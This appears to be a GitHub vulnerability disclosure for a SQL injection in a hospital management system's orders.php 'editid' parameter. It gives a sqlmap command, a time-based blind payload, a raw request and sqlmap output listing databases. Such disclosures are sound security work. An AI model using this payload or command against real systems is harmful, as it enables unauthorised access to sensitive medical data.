



Danie1233 Update README.md ...

on May 28 ⌚ 2

[View code](#)


☰ README.md


Hospital-Management-System v1.0-SQLi-4


Vendor

Welcome To Hospital Management System

[f](#) [t](#) [@](#) [in](#) [📺](#)

 1111 222 3333
1-222-353-4444

 itsc@sample.com
hms@sample.com

 Negros Occidental,
Philippines

HOME ABOUT APPOINTMENT CONTACT LOG IN

Add New Order

Here you can order medicine's through online..

Select Doctor	Select ▼
Address	<input type="text"/>
Mobile Number	<input type="text"/>
Any note	<input type="text"/>
<input type="button" value="Submit"/>	

ABOUT US SOCIAL LINKS

Description:

The vulnerability page is `orders.php`

`http://your-ip/HMS/orders.php`

Hospital-Management-System v1.0

The `editid` parameter in the `orders.php` page appears to be vulnerable to SQL injection attacks.

[+]sqlmap:

`python sqlmap.py -u "http://your-ip/hms/orders.php?editid=1" --random-agent --dbs`

[+] Payloads:

```
Parameter: editid (GET)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: editid=1' AND (SELECT 7774 FROM (SELECT(SLEEP(5)))puHE) AND
'zVYe'='zVYe
```

[+]GET request package

```
GET /hms/orders.php?editid=1 HTTP/1.1
Host: 192.168.74.136
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101
Firefox/100.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=sbgmgg8q26ri1tmnqfv7poto25
Upgrade-Insecure-Requests: 1
```



In action:

```
cmd 选择 C:\Windows\system32\cmd.exe
[22:37:16] [INFO] resuming back-end DBMS 'mysql'
[22:37:16] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: editid (GET)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: editid=1' AND (SELECT 7774 FROM (SELECT(SLEEP(5)))puHE) AND 'zVYe'='zVYe
---
[22:37:26] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.29, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
[22:37:26] [INFO] fetching database names
[22:37:26] [INFO] fetching number of databases
[22:37:26] [INFO] resumed: 7
[22:37:26] [INFO] resumed: information_schema
[22:37:26] [INFO] resumed: l111
[22:37:26] [INFO] resumed: baijiacms
[22:37:26] [INFO] resumed: hms
[22:37:26] [INFO] resumed: mysql
[22:37:26] [INFO] resumed: performance_schema
[22:37:26] [INFO] resumed: sys
available databases [7]:
[*] l111
[*] baijiacms
[*] hms
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
```

Proof and Exploit:

example3.mp4 ▾

0:00 / 0:57

Releases

No releases published

Packages

No packages published